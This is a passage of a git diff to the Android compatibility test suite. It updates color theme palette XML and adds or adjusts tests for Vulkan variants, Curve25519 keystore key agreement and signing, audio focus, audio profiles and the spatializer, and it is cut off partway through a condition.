-        <vibrant>ffffff,fdffd7,eaf99a,d9ed76,bdd05d,a2b444,87992c,6e7d0e,566500,404c00,2b3400,181e00,000000,ffffff,fffbfa,ffeddf,ffdcbe,eebd93,d0a27a,b48762,966e4a,7c5635,613f20,48290b,2e1500,000000,ffffff,fffbfa,ffeddf,ffdcbe,fab981,db9e69,bd8551,9f6b3a,845325,683d0f,4d2700,2e1500,000000,ffffff,fdfee7,f2f2dd,e3e4ce,c7c8b3,abad99,919280,767766,5e604f,464839,2f3223,1a1d0f,000000,ffffff,fdfee4,f1f2d8,e3e4cb,c7c8b0,abad96,90927c,757862,5e604c,464835,2f3220,1a1d0d,000000</vibrant>
-        <expressive>ffffff,fffbfa,ffecf1,ffd9e4,ffb0ca,e992ae,cb7793,ac5e78,904761,732f49,581933,3c031e,000000,ffffff,fffbf9,ffeed4,ffdea7,e3c28c,c6a673,aa8c5c,8d7243,735b2e,594319,412d05,281900,000000,ffffff,fffbf9,ffeed4,ffdea6,eac077,cea560,b08b48,937030,78591a,5e4102,422c00,281900,000000,ffffff,fafeef,eff2e4,e1e4d6,c4c8bb,a8ad9f,8e9286,73786b,5b6055,44483e,2d3228,181d14,000000,ffffff,f9ffea,ebf4dd,dde5cf,c1cab4,a6ae9a,8b9380,707966,59614f,424939,2b3324,171e10,000000</expressive>
+        <vibrant>ffffff,fdffd7,eaf99a,d9ed76,bdd05d,a2b444,87992c,6e7d0e,566500,404c00,2b3400,181e00,000000,ffffff,f8ffe3,e4f8c7,d6e9b9,bacd9f,9fb185,85976c,6a7c53,53643e,3c4c28,263514,121f03,000000,ffffff,f5ffec,d1fdc5,c3eeb8,a7d29e,8db684,739b6b,598053,42673d,2a4f27,133812,002202,000000,ffffff,fdfee4,f1f2d8,e3e4cb,c7c8b0,abad96,90927c,757862,5e604c,464835,2f3220,1a1d0d,000000,ffffff,fcffdf,f1f3d4,e2e5c7,c6c9ab,abae91,8f9378,75785f,5d6048,454932,2f321e,1a1d0b,000000</vibrant>
+        <expressive>ffffff,fffbfa,ffecf1,ffd9e4,ffb0ca,e992ae,cb7793,ac5e78,904761,732f49,581933,3c031e,000000,ffffff,f2fff6,d0fbe1,c2ecd3,a7d0b8,8cb49d,729983,587e6a,406653,284e3c,103727,002113,000000,ffffff,fafcff,e4f2ff,c7e7ff,9ccdf0,81b1d3,6696b8,4b7b9c,316383,134b6a,00344e,001e2f,000000,ffffff,fafeef,eff2e4,e1e4d6,c4c8bb,a8ad9f,8e9286,73786b,5b6055,44483e,2d3228,181d14,000000,ffffff,f9ffea,ebf4dd,dde5cf,c1cab4,a6ae9a,8b9380,707966,59614f,424939,2b3324,171e10,000000</expressive>
         <rainbow>ffffff,fdffd7,eaf99a,daec7b,becf61,a2b449,889931,6e7d16,566500,404c00,2b3400,181e00,000000,ffffff,fcffdc,f0f3d0,e2e5c2,c6c9a8,aaae8e,909375,74795b,5c6145,454930,2f321b,1a1d08,000000,ffffff,f0fffa,cbfbed,bdeddf,a1d0c3,87b4a8,6d9a8e,527e73,3b665c,224e45,05372f,002019,000000,ffffff,fcfcfc,f1f1f1,e2e2e2,c6c6c6,ababab,919191,767676,5e5e5e,474747,303030,1b1b1b,000000,ffffff,fcfcfc,f1f1f1,e2e2e2,c6c6c6,ababab,919191,767676,5e5e5e,474747,303030,1b1b1b,000000</rainbow>
         <fruit_salad>ffffff,fffbf9,ffeedc,ffddb6,ffb85d,e69c38,c7821d,a76800,875300,663d00,482a00,2b1700,000000,ffffff,fffbf9,ffeedc,ffddb6,f8bb71,daa059,bc8641,9e6b2a,825414,663d00,482a00,2b1700,000000,ffffff,fcffd5,ebf8a4,ddea96,c1cd7d,a5b264,8b974d,707c35,596320,414b08,2b3400,181e00,000000,ffffff,fdfee7,f2f2dd,e3e4ce,c7c8b3,abad99,919280,767766,5e604f,464839,2f3223,1a1d0f,000000,ffffff,fcffdc,f0f3d0,e2e5c2,c6c9a8,aaae8e,909375,74795b,5c6145,454930,2f321b,1a1d08,000000</fruit_salad>
     </theme>
     <theme color="ff008772">
         <spritz>ffffff,f0fffa,e2f5ed,d4e7df,b8cbc4,9dafa9,83958e,687a74,51625c,3a4a45,23342f,0f1e1a,000000,ffffff,f4fefa,e9f3ef,dae5e0,bec9c4,a3ada9,88938f,6e7875,57615d,3f4945,29322f,141d1b,000000,ffffff,f0fffa,dbf7ed,cde9df,b1ccc3,96b1a8,7d968e,627b74,4b635c,334b45,1c352e,06201a,000000,ffffff,fdfcfb,f2f1ef,e3e2e1,c7c7c5,ababaa,90918f,767675,5e5e5d,464746,2f3130,1a1c1b,000000,ffffff,fdfcfb,f2f1ef,e3e2e1,c7c7c5,ababaa,90918f,767675,5e5e5d,464746,2f3130,1a1c1b,000000</spritz>
         <tonal_spot>ffffff,f0fffa,b3ffec,a1f2dd,85d5c1,69baa6,4e9e8c,308372,086b5a,005143,00382d,002019,000000,ffffff,f0fffa,dbf7ed,cde9df,b1ccc3,96b1a8,7d968e,627b74,4b635c,334b45,1c352e,06201a,000000,ffffff,fafcff,e4f3ff,c6e7ff,aacae3,8fafc8,7594ac,5a7a90,426278,2a4a5f,103447,001e2f,000000,ffffff,fafdfa,eff1ef,e0e3e0,c4c7c5,a8aca9,8e918f,737775,5c5f5d,444846,2e3130,191c1b,000000,ffffff,f4fefa,e9f3ef,dae5e0,bec9c4,a3ada9,88938f,6e7875,57615d,3f4945,29322f,141d1b,000000</tonal_spot>
-        <vibrant>ffffff,f0fffa,b3ffec,79f8da,5bdbbf,37bfa4,00a38a,00856f,006b59,005143,00382d,002019,000000,ffffff,fdffd8,eef6be,e0e8b1,c4cb97,a8af7e,8e9565,727a4d,5b6238,444a22,2d330e,181e00,000000,ffffff,fdffd8,ecf7ad,dee9a0,c1cd86,a6b16e,8c9656,717b3e,5a6329,424b12,2b3400,181e00,000000,ffffff,f1fffa,e5f4ee,d7e6e0,bbcac4,a0aea9,86948e,6c7974,54615d,3d4945,26332f,111e1a,000000,ffffff,f0fffa,e2f5ed,d4e7df,b8cbc4,9dafa9,83958e,687a74,51625c,3a4a45,23342f,0f1e1a,000000</vibrant>
-        <expressive>ffffff,fffbfa,ffede0,ffdcc0,ffb778,e69a59,c78041,a86729,8b5013,6e3900,4d2600,2f1500,000000,ffffff,f6ffe9,def9cd,d0eabf,b5cea5,99b38b,7f9872,657d59,4e6543,374c2d,213618,0c2006,000000,ffffff,f6ffe9,d5fcc1,c7eeb3,acd199,92b580,789a67,5e7f4e,466738,304e23,1a370f,042100,000000,ffffff,f4fffd,e9f3f1,dae5e3,bec9c7,a3adac,889391,6e7877,566060,3f4848,293232,141d1d,000000,ffffff,effffe,e2f5f3,d4e6e5,b8cac9,9dafad,829493,687978,506260,394a48,233333,0e1e1e,000000</expressive>
+        <vibrant>ffffff,f0fffa,b3ffec,79f8da,5bdbbf,37bfa4,00a38a,00856f,006b59,005143,00382d,002019,000000,ffffff,effffd,cafaf5,bbece7,a0cfcb,85b4af,6b9995,517e7a,396662,1f4e4a,013734,00201e,000000,ffffff,efffff,befbff,a8eef5,8dd2d8,71b6bd,569ba1,398086,1a686e,004f54,00363a,002022,000000,ffffff,f0fffa,e2f5ed,d4e7df,b8cbc4,9dafa9,83958e,687a74,51625c,3a4a45,23342f,0f1e1a,000000,ffffff,f0fffa,dff6ed,d1e7df,b5ccc4,9ab0a8,80958e,657b74,4e635c,364b45,21342f,0b1f1b,000000</vibrant>
+        <expressive>ffffff,fffbfa,ffede0,ffdcc0,ffb778,e69a59,c78041,a86729,8b5013,6e3900,4d2600,2f1500,000000,ffffff,f8fdff,dcf5ff,c0e9fa,a4cddd,8ab1c2,6f96a6,547c8b,3c6472,234c5a,063543,001f29,000000,ffffff,fffbfe,f6edff,eaddff,cfbef7,b2a3da,9788be,7d6ea2,645788,4c3f6f,352857,201241,000000,ffffff,f4fffd,e9f3f1,dae5e3,bec9c7,a3adac,889391,6e7877,566060,3f4848,293232,141d1d,000000,ffffff,effffe,e2f5f3,d4e6e5,b8cac9,9dafad,829493,687978,506260,394a48,233333,0e1e1e,000000</expressive>
         <rainbow>ffffff,f0fffa,b3ffec,79f8da,5bdbbf,37bfa4,00a38a,00856f,006b59,005143,00382d,002019,000000,ffffff,f0fffa,dbf7ed,cde9df,b1ccc3,96b1a8,7d968e,627b74,4b635c,334b45,1c352e,06201a,000000,ffffff,fafcff,e4f3ff,c6e7ff,aacae3,8fafc8,7594ac,5a7a90,426278,2a4a5f,103447,001e2f,000000,ffffff,fcfcfc,f1f1f1,e2e2e2,c6c6c6,ababab,919191,767676,5e5e5e,474747,303030,1b1b1b,000000,ffffff,fcfcfc,f1f1f1,e2e2e2,c6c6c6,ababab,919191,767676,5e5e5e,474747,303030,1b1b1b,000000</rainbow>
         <fruit_salad>ffffff,f9ffe1,ddfca5,c9ef88,aed36f,93b757,799c3e,608026,48680d,334f00,213600,121f00,000000,ffffff,f9ffe1,dffbad,d1eca0,b5d086,9ab46e,809956,667e3e,4f6628,384d13,233600,121f00,000000,ffffff,f0fffa,b3ffec,a1f2dd,85d5c1,69baa6,4e9e8c,308372,086b5a,005143,00382d,002019,000000,ffffff,f1fffa,e5f4ee,d7e6e0,bbcac4,a0aea9,86948e,6c7974,54615d,3d4945,26332f,111e1a,000000,ffffff,f0fffa,dbf7ed,cde9df,b1ccc3,96b1a8,7d968e,627b74,4b635c,334b45,1c352e,06201a,000000</fruit_salad>
     </theme>
     <theme color="ff007fb6">
         <spritz>ffffff,fafcff,e6f2fe,d8e4ef,bcc8d3,a1adb7,86929d,6c7882,546069,3d4852,27323a,111d25,000000,ffffff,fafcff,ecf1f9,dee3ea,c2c7ce,a6acb2,8b9198,70777d,595f65,41474d,2b3137,171c21,000000,ffffff,fafcff,e4f2ff,d3e5f5,b7c9d8,9caebd,8193a1,677887,50606e,384956,22323f,0c1d29,000000,ffffff,fefcfc,f2f0f1,e4e2e3,c7c6c7,acabab,919192,767677,5e5e5f,464748,303031,1b1b1c,000000,ffffff,fefcfc,f2f0f1,e4e2e3,c7c6c7,acabab,919192,767677,5e5e5f,464748,303031,1b1b1c,000000</spritz>
         <tonal_spot>ffffff,fafcff,e4f2ff,c7e6ff,94cdf7,79b1da,5e97be,417ca2,256489,004b6f,00344f,001e30,000000,ffffff,fafcff,e4f2ff,d3e5f5,b7c9d8,9caebd,8193a1,677887,50606e,384956,22323f,0c1d29,000000,ffffff,fffbfd,f7edff,ebdcff,cfc0e9,b2a5cc,978bb0,7c7095,64597b,4c4163,352b4a,201634,000000,ffffff,fbfcff,f0f0f3,e2e2e5,c6c6c9,aaabae,909194,757679,5c5e61,454749,2f3032,191c1e,000000,ffffff,fafcff,ecf1f9,dee3ea,c2c7ce,a6acb2,8b9198,70777d,595f65,41474d,2b3137,171c21,000000</tonal_spot>
-        <vibrant>ffffff,fafcff,e4f2ff,c7e6ff,86ceff,57b4ee,3599d2,007db5,006492,004b6f,00344f,001e30,000000,ffffff,f0fffb,cbfaee,bdece1,a1d0c4,87b4aa,6c9a8f,527e75,3a665d,214e46,043730,00201a,000000,ffffff,f0fffb,b8feee,aaf0e1,8ed4c4,73b8a9,589d8f,3c8275,21695d,005045,00382f,00201a,000000,ffffff,fafcff,e9f1fb,dbe4ed,bfc8d1,a4acb5,89919a,6e777f,576067,3f484f,293138,141c23,000000,ffffff,fafcff,e6f2fe,d8e4ef,bcc8d3,a1adb7,86929d,6c7882,546069,3d4852,27323a,111d25,000000</vibrant>
-        <expressive>ffffff,fcffd8,e8fa9c,d9eb8f,bdcf76,a3b35d,889846,6e7c2e,566417,3f4c00,2a3500,171e00,000000,ffffff,efffff,cafafc,bcebee,a0cfd1,85b3b6,6b989b,507d80,386568,1e4d50,003739,002022,000000,ffffff,efffff,b9fcff,a8eff3,8cd2d7,71b6bb,559ca0,388085,1a686d,004f53,00373a,002022,000000,ffffff,fdfcff,edf0fa,dfe2eb,c3c7cf,a8abb4,8d9099,72767e,5a5e66,43474e,2d3137,171c22,000000,ffffff,fdfcff,e9f1ff,dbe3f1,bfc7d5,a4acb9,8a919f,6f7783,575f6b,404753,29313b,141c26,000000</expressive>
+        <vibrant>ffffff,fafcff,e4f2ff,c7e6ff,86ceff,57b4ee,3599d2,007db5,006492,004b6f,00344f,001e30,000000,ffffff,fcfcff,e8f1ff,cfe4ff,b1c9e8,96adcc,7b92b0,617894,4a607b,314962,19324a,011d34,000000,ffffff,fdfbff,ecf0ff,d6e2ff,b1c7f9,95abdc,7b90c0,6076a3,485e8a,314671,183059,001a43,000000,ffffff,fafcff,e6f2fe,d8e4ef,bcc8d3,a1adb7,86929d,6c7882,546069,3d4852,27323a,111d25,000000,ffffff,fafcff,e4f2ff,d6e4f3,bac8d6,9fadba,84929f,697884,52606c,3a4853,24323c,0e1d27,000000</vibrant>
+        <expressive>ffffff,fcffd8,e8fa9c,d9eb8f,bdcf76,a3b35d,889846,6e7c2e,566417,3f4c00,2a3500,171e00,000000,ffffff,fefbff,f1efff,e2dfff,c4c3ea,a9a7ce,8e8db3,737396,5c5b7d,444364,2d2d4d,191837,000000,ffffff,fffbfa,ffecf0,ffd9e3,fdb2c6,df97ab,c17e91,a36476,874c5f,6c3647,511f31,370b1c,000000,ffffff,fdfcff,edf0fa,dfe2eb,c3c7cf,a8abb4,8d9099,72767e,5a5e66,43474e,2d3137,171c22,000000,ffffff,fdfcff,e9f1ff,dbe3f1,bfc7d5,a4acb9,8a919f,6f7783,575f6b,404753,29313b,141c26,000000</expressive>
         <rainbow>ffffff,fafcff,e4f2ff,c7e6ff,86ceff,57b4ee,3599d2,007db5,006492,004b6f,00344f,001e30,000000,ffffff,fafcff,e4f2ff,d3e5f5,b7c9d8,9caebd,8193a1,677887,50606e,384956,22323f,0c1d29,000000,ffffff,fffbfd,f7edff,ebdcff,cfc0e9,b2a5cc,978bb0,7c7095,64597b,4c4163,352b4a,201634,000000,ffffff,fcfcfc,f1f1f1,e2e2e2,c6c6c6,ababab,919191,767676,5e5e5e,474747,303030,1b1b1b,000000,ffffff,fcfcfc,f1f1f1,e2e2e2,c6c6c6,ababab,919191,767676,5e5e5e,474747,303030,1b1b1b,000000</rainbow>
         <fruit_salad>ffffff,effffd,affff9,71f7ee,4fdbd2,24beb6,00a29a,00847d,006a64,00504b,003733,00201e,000000,ffffff,effffd,affff9,9df1ea,80d5ce,65b9b3,489e98,27837d,006a65,00504b,003734,00201e,000000,ffffff,fafcff,e4f2ff,c7e6ff,94cdf7,79b1da,5e97be,417ca2,256489,004b6f,00344f,001e30,000000,ffffff,fafcff,e9f1fb,dbe4ed,bfc8d1,a4acb5,89919a,6e777f,576067,3f484f,293138,141c23,000000,ffffff,fafcff,e4f2ff,d3e5f5,b7c9d8,9caebd,8193a1,677887,50606e,384956,22323f,0c1d29,000000</fruit_salad>
     </theme>
     <theme color="ff8267c2">
         <spritz>ffffff,fffbfd,f6eeff,e8dff1,cbc4d5,b0a8ba,958e9e,7a7383,615c6b,4a4453,332e3c,1d1a26,000000,ffffff,fffbfd,f5eefa,e7e0eb,cbc4cf,afa9b4,948f99,79747e,615c66,49454f,322f37,1d1a22,000000,ffffff,fffbfd,f7edff,e9def8,ccc3dc,b1a7c0,958da4,7a7389,625b71,4a4358,332d41,1e182b,000000,ffffff,fffbfd,f4eff1,e6e1e3,cac5c7,aeaaac,939091,787577,605e5f,484648,313031,1c1b1d,000000,ffffff,fffbfd,f4eff1,e6e1e3,cac5c7,aeaaac,939091,787577,605e5f,484648,313031,1c1b1d,000000</spritz>
         <tonal_spot>ffffff,fffbfd,f7edff,ebddff,d1bcfe,b5a1e1,9987c4,7e6da8,66558e,4d3d75,37265d,211047,000000,ffffff,fffbfd,f7edff,e9def8,ccc3dc,b1a7c0,958da4,7a7389,625b71,4a4358,332d41,1e182b,000000,ffffff,fffbfa,ffecf0,ffd8e3,f0b7c7,d29dab,b68391,986976,7e525f,633b48,4a2531,31101c,000000,ffffff,fffbfd,f5eff4,e6e1e5,c9c5c9,aeaaae,939094,787579,605d62,484649,313033,1c1b1e,000000,ffffff,fffbfd,f5eefa,e7e0eb,cbc4cf,afa9b4,948f99,79747e,615c66,49454f,322f37,1d1a22,000000</tonal_spot>
-        <vibrant>ffffff,fffbfd,f7edff,ebddff,d2bcff,b89bfb,9d81de,8166c1,694ea7,51358d,391c76,22005c,000000,ffffff,fafcff,e4f2ff,c7e6ff,abcbe4,90afc8,7694ad,5b7991,436278,2b4a5f,123348,001e30,000000,ffffff,fafcff,e4f2ff,c7e6ff,9dccf0,82b0d4,6796b8,4c7b9c,336383,154b6a,00344f,001e30,000000,ffffff,fffbfd,f5eefd,e7e0ee,cbc3d2,afa8b6,948e9c,797480,615c69,494550,322f3a,1d1a24,000000,ffffff,fffbfd,f6eeff,e8dff1,cbc4d5,b0a8ba,958e9e,7a7383,615c6b,4a4453,332e3c,1d1a26,000000</vibrant>
-        <expressive>ffffff,f0fffa,b5ffee,95f4de,78d8c2,5bbca7,3ea08d,168572,006b5a,005144,00382e,00201a,000000,ffffff,fdfcff,ebf1ff,d4e3ff,b6c7ea,9aaccd,8092b1,657795,4e5f7c,364764,1f314c,071c36,000000,ffffff,fdfcff,ebf1ff,d4e3ff,acc7f8,92acdb,7792bf,5c77a3,455f8a,2c4770,123158,001b3d,000000,ffffff,fffbfb,f8eef8,eadfea,cdc4ce,b2a8b3,968e98,7b747d,645c65,4b454d,342f37,1f1a21,000000,ffffff,fffbfb,fbecfd,ecdeef,d0c2d3,b4a7b7,998d9c,7e7282,655b69,4d4451,362d3b,201925,000000</expressive>
+        <vibrant>ffffff,fffbfd,f7edff,ebddff,d2bcff,b89bfb,9d81de,8166c1,694ea7,51358d,391c76,22005c,000000,ffffff,fffbfb,fbebff,f3daff,d6bee5,baa3c9,9e89ad,836e91,6a5778,514060,3a2a48,241532,000000,ffffff,fffbfb,ffeaff,ffd6ff,e5b8e9,c89dcd,ac83b1,906996,77517c,5d3a63,45234b,2e0d35,000000,ffffff,fffbfd,f6eeff,e8dff1,cbc4d5,b0a8ba,958e9e,7a7383,615c6b,4a4453,332e3c,1d1a26,000000,ffffff,fffbfd,f7edff,e8dff5,cbc3d8,b0a8bc,958ea1,797386,625b6e,494455,332e3e,1e1928,000000</vibrant>
+        <expressive>ffffff,f0fffa,b5ffee,95f4de,78d8c2,5bbca7,3ea08d,168572,006b5a,005144,00382e,00201a,000000,ffffff,fffbfa,ffebf5,ffd7ed,e9b9d2,cc9eb8,af849c,926a81,795369,5f3c51,46263a,2e1124,000000,ffffff,fffbfa,ffeddf,ffdcbf,fab982,dc9e69,be8452,9f6a3a,845325,683d0f,4d2700,2e1500,000000,ffffff,fffbfb,f8eef8,eadfea,cdc4ce,b2a8b3,968e98,7b747d,645c65,4b454d,342f37,1f1a21,000000,ffffff,fffbfb,fbecfd,ecdeef,d0c2d3,b4a7b7,998d9c,7e7282,655b69,4d4451,362d3b,201925,000000</expressive>
         <rainbow>ffffff,fffbfd,f7edff,ebddff,d2bcff,b79df7,9c82da,8167be,684fa3,503789,391d72,22005c,000000,ffffff,fffbfd,f7edff,e9def8,ccc3dc,b1a7c0,958da4,7a7389,625b71,4a4358,332d41,1e182b,000000,ffffff,fffbfa,ffecf0,ffd8e3,f0b7c7,d29dab,b68391,986976,7e525f,633b48,4a2531,31101c,000000,ffffff,fcfcfc,f1f1f1,e2e2e2,c6c6c6,ababab,919191,767676,5e5e5e,474747,303030,1b1b1b,000000,ffffff,fcfcfc,f1f1f1,e2e2e2,c6c6c6,ababab,919191,767676,5e5e5e,474747,303030,1b1b1b,000000</rainbow>
         <fruit_salad>ffffff,fcfcff,e8f2ff,cee5ff,97cbff,68b1f4,4a96d8,277bbb,00629f,004a7a,003355,001d35,000000,ffffff,fcfcff,e8f2ff,cee5ff,9dcbfb,82afdf,6795c2,4b7aa6,31628d,124a73,003355,001d35,000000,ffffff,fffbfd,f7edff,ebddff,d1bcfe,b5a1e1,9987c4,7e6da8,66558e,4d3d75,37265d,211047,000000,ffffff,fffbfd,f5eefd,e7e0ee,cbc3d2,afa8b6,948e9c,797480,615c69,494550,322f3a,1d1a24,000000,ffffff,fffbfd,f7edff,e9def8,ccc3dc,b1a7c0,958da4,7a7389,625b71,4a4358,332d41,1e182b,000000</fruit_salad>
     </theme>
diff --git a/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java b/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java
index f86641f..3cfad6e 100644
--- a/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java
@@ -249,6 +249,9 @@
     @CddTest(requirement = "7.1.4.2")
     @Test
     public void testVulkanVariantSupport() throws JSONException {
+        if (mVulkanHardwareVersion == null) {
+            return;
+        }
         int expectedVariant = 0x0;
         int actualVariant = (mVulkanHardwareVersion.version >> 29) & 0x7;
         assertEquals(expectedVariant, actualVariant);
diff --git a/tests/tests/keystore/src/android/keystore/cts/Curve25519Test.java b/tests/tests/keystore/src/android/keystore/cts/Curve25519Test.java
index 30bd40b..8a37b16 100644
--- a/tests/tests/keystore/src/android/keystore/cts/Curve25519Test.java
+++ b/tests/tests/keystore/src/android/keystore/cts/Curve25519Test.java
@@ -30,14 +30,23 @@
 import org.junit.runner.RunWith;
 
 import java.security.InvalidAlgorithmParameterException;
+import java.security.InvalidKeyException;
+import java.security.KeyPair;
 import java.security.KeyPairGenerator;
 import java.security.KeyStore;
 import java.security.KeyStoreException;
 import java.security.NoSuchAlgorithmException;
 import java.security.NoSuchProviderException;
-import java.security.ProviderException;
+import java.security.Signature;
+import java.security.SignatureException;
+import java.security.interfaces.EdECPublicKey;
 import java.security.spec.ECGenParameterSpec;
+import java.security.spec.InvalidKeySpecException;
 import java.security.spec.NamedParameterSpec;
+import java.util.Arrays;
+import java.util.Base64;
+
+import javax.crypto.KeyAgreement;
 
 @RunWith(AndroidJUnit4.class)
 public class Curve25519Test {
@@ -52,45 +61,77 @@
 
     @Test
     public void x25519KeyAgreementTest() throws NoSuchAlgorithmException, NoSuchProviderException,
-            InvalidAlgorithmParameterException {
+            InvalidAlgorithmParameterException, InvalidKeySpecException, InvalidKeyException {
         KeyPairGenerator kpg = KeyPairGenerator.getInstance("EC", "AndroidKeyStore");
-        final String alias = "x25519-alias";
-        deleteEntry(alias);
+        // Aliases for both keys.
+        final String firstKeyAlias = "x25519-alias";
+        deleteEntry(firstKeyAlias);
+        final String secondKeyAlias = "x25519-alias-second";
+        deleteEntry(secondKeyAlias);
 
-        KeyGenParameterSpec keySpec = new KeyGenParameterSpec.Builder(alias,
-                        KeyProperties.PURPOSE_AGREE_KEY)
+        // Generate first x25519 key pair.
+        KeyGenParameterSpec firstKeySpec = new KeyGenParameterSpec.Builder(firstKeyAlias,
+                KeyProperties.PURPOSE_AGREE_KEY)
                 .setAlgorithmParameterSpec(new ECGenParameterSpec("x25519")).build();
-        kpg.initialize(keySpec);
+        kpg.initialize(firstKeySpec);
+        KeyPair firstKeyPair = kpg.generateKeyPair();
 
-        //TODO(b/214203951): Remove this try/catch once Conscrypt class are available.
-        try {
-            kpg.generateKeyPair();
-            fail("Should not be supported yet");
-        } catch (ProviderException e) {
-            assertThat(e.getMessage()).isEqualTo("Curve XDH not supported yet");
-        }
+        // Generate second x25519 key pair.
+        KeyGenParameterSpec secondKeySpec = new KeyGenParameterSpec.Builder(secondKeyAlias,
+                KeyProperties.PURPOSE_AGREE_KEY)
+                .setAlgorithmParameterSpec(new ECGenParameterSpec("x25519")).build();
+        kpg.initialize(secondKeySpec);
+        KeyPair secondKeyPair = kpg.generateKeyPair();
+
+        // Attempt a key agreement with the private key from the first key pair and the public
+        // key from the second key pair.
+        KeyAgreement secondKa = KeyAgreement.getInstance("XDH");
+        secondKa.init(firstKeyPair.getPrivate());
+        secondKa.doPhase(secondKeyPair.getPublic(), true);
+        byte[] secondSecret = secondKa.generateSecret();
+
+        // Attempt a key agreement "the other way around": using the private key from the second
+        // key pair and the public key from the first key pair.
+        KeyAgreement firstKa = KeyAgreement.getInstance("XDH");
+        firstKa.init(secondKeyPair.getPrivate());
+        firstKa.doPhase(firstKeyPair.getPublic(), true);
+        byte[] firstSecret = firstKa.generateSecret();
+
+        // Both secrets being equal means the key agreement was successful.
+        assertThat(Arrays.compare(firstSecret, secondSecret)).isEqualTo(0);
     }
 
     @Test
     public void ed25519KeyGenerationAndSigningTest()
             throws NoSuchAlgorithmException, NoSuchProviderException,
-            InvalidAlgorithmParameterException {
+            InvalidAlgorithmParameterException, InvalidKeyException, SignatureException {
         KeyPairGenerator kpg = KeyPairGenerator.getInstance("EC", "AndroidKeyStore");
         final String alias = "ed25519-alias";
         deleteEntry(alias);
 
         KeyGenParameterSpec keySpec = new KeyGenParameterSpec.Builder(alias,
                 KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY)
-                .setAlgorithmParameterSpec(new ECGenParameterSpec("ed25519")).build();
+                .setAlgorithmParameterSpec(new ECGenParameterSpec("ed25519"))
+                .setDigests(KeyProperties.DIGEST_NONE).build();
         kpg.initialize(keySpec);
 
-        //TODO(b/214203951): Remove this try/catch once Conscrypt class are available.
-        try {
-            kpg.generateKeyPair();
-            fail("Should not be supported yet");
-        } catch (ProviderException e) {
-            assertThat(e.getMessage()).isEqualTo("Curve 1.3.101.112 not supported yet");
-        }
+        KeyPair kp = kpg.generateKeyPair();
+        assertThat(kp.getPublic()).isInstanceOf(EdECPublicKey.class);
+
+        byte[] data = "helloxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx".getBytes();
+        Signature signer = Signature.getInstance("Ed25519");
+        signer.initSign(kp.getPrivate());
+        signer.update(data);
+        byte[] sigBytes = signer.sign();
+        assertThat(sigBytes.length).isEqualTo(64);
+        EdECPublicKey publicKey = (EdECPublicKey) kp.getPublic();
+        android.util.Log.i("Curve25519Test", "Manually validate: Payload "
+                + Base64.getEncoder().encodeToString(data) + " encoded key: "
+                + Base64.getEncoder().encodeToString(kp.getPublic().getEncoded())
+                + " signature: " + Base64.getEncoder().encodeToString(sigBytes));
+
+        //TODO: Verify signature over the data when Conscrypt supports validating Ed25519
+        // signatures.
     }
 
     @Test
@@ -150,4 +191,4 @@
             assertThat(e.getMessage()).contains("cannot be initialized using NamedParameterSpec");
         }
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/AudioFocusTest.java b/tests/tests/media/audio/src/android/media/audio/cts/AudioFocusTest.java
index c9b107c..2a2028c 100644
--- a/tests/tests/media/audio/src/android/media/audio/cts/AudioFocusTest.java
+++ b/tests/tests/media/audio/src/android/media/audio/cts/AudioFocusTest.java
@@ -237,6 +237,11 @@
      * @throws Exception when failing
      */
     public void testAudioFocusDelayedByCall() throws Exception {
+        if (hasAutomotiveFeature(getContext())) {
+            Log.i(TAG, "Test testAudioFocusDelayedByCall "
+                    + "skipped: not required for Auto platform");
+            return;
+        }
         Log.i(TAG, "testAudioFocusDelayedByCall");
         final AudioManager am = new AudioManager(getContext());
         final HandlerThread handlerThread = new HandlerThread(TAG);
@@ -308,6 +313,11 @@
      * @throws Exception when failing
      */
     public void testAudioFocusTransientDelayedByCall() throws Exception {
+        if (hasAutomotiveFeature(getContext())) {
+            Log.i(TAG, "Test testAudioFocusTransientDelayedByCall "
+                    + "skipped: not required for Auto platform");
+            return;
+        }
         Log.i(TAG, "testAudioFocusDelayedByCall");
         final AudioManager am = new AudioManager(getContext());
         final HandlerThread handlerThread = new HandlerThread(TAG);
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/DirectAudioProfilesForAttributesTest.kt b/tests/tests/media/audio/src/android/media/audio/cts/DirectAudioProfilesForAttributesTest.kt
index a2ecbb4..04cbf70 100644
--- a/tests/tests/media/audio/src/android/media/audio/cts/DirectAudioProfilesForAttributesTest.kt
+++ b/tests/tests/media/audio/src/android/media/audio/cts/DirectAudioProfilesForAttributesTest.kt
@@ -89,6 +89,10 @@
         audioProfile: AudioProfile,
         expectedCreationSuccess: Boolean
     ) {
+        if (audioProfile.format == AudioFormat.ENCODING_INVALID) {
+            fail("Found INVALID audio format in audio profile ($audioProfile) " +
+                    "when trying to create audio tracks with it!")
+        }
         for (audioFormat in audioProfile.getAllAudioFormats()) {
             try {
                 AudioTrack.Builder()
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/SpatializerTest.java b/tests/tests/media/audio/src/android/media/audio/cts/SpatializerTest.java
index ea56aa5..202f3ef 100644
--- a/tests/tests/media/audio/src/android/media/audio/cts/SpatializerTest.java
+++ b/tests/tests/media/audio/src/android/media/audio/cts/SpatializerTest.java
@@ -151,10 +151,6 @@
                 SecurityException.class,
                 () -> spat.addOnHeadTrackingModeChangedListener(Executors.newSingleThreadExecutor(),
                         listener));
-        assertThrows("Able to call removeOnHeadTrackingModeChangedListener without permission",
-                SecurityException.class,
-                () -> spat.removeOnHeadTrackingModeChangedListener(listener));
-
         getInstrumentation().getUiAutomation()
                 .adoptShellPermissionIdentity("android.permission.MODIFY_DEFAULT_AUDIO_EFFECTS");
 
@@ -175,16 +171,21 @@
         List<Integer> supportedModes = spat.getSupportedHeadTrackingModes();
         Assert.assertNotNull("Invalid null list of tracking modes", supportedModes);
         Log.i(TAG, "Reported supported head tracking modes:" + supportedModes);
-        if (!supportedModes.contains(Spatializer.HEAD_TRACKING_MODE_RELATIVE_DEVICE)
-                && !supportedModes.contains(Spatializer.HEAD_TRACKING_MODE_RELATIVE_WORLD)
-                && !supportedModes.contains(Spatializer.HEAD_TRACKING_MODE_OTHER)) {
+        if (!(supportedModes.contains(Spatializer.HEAD_TRACKING_MODE_RELATIVE_DEVICE)
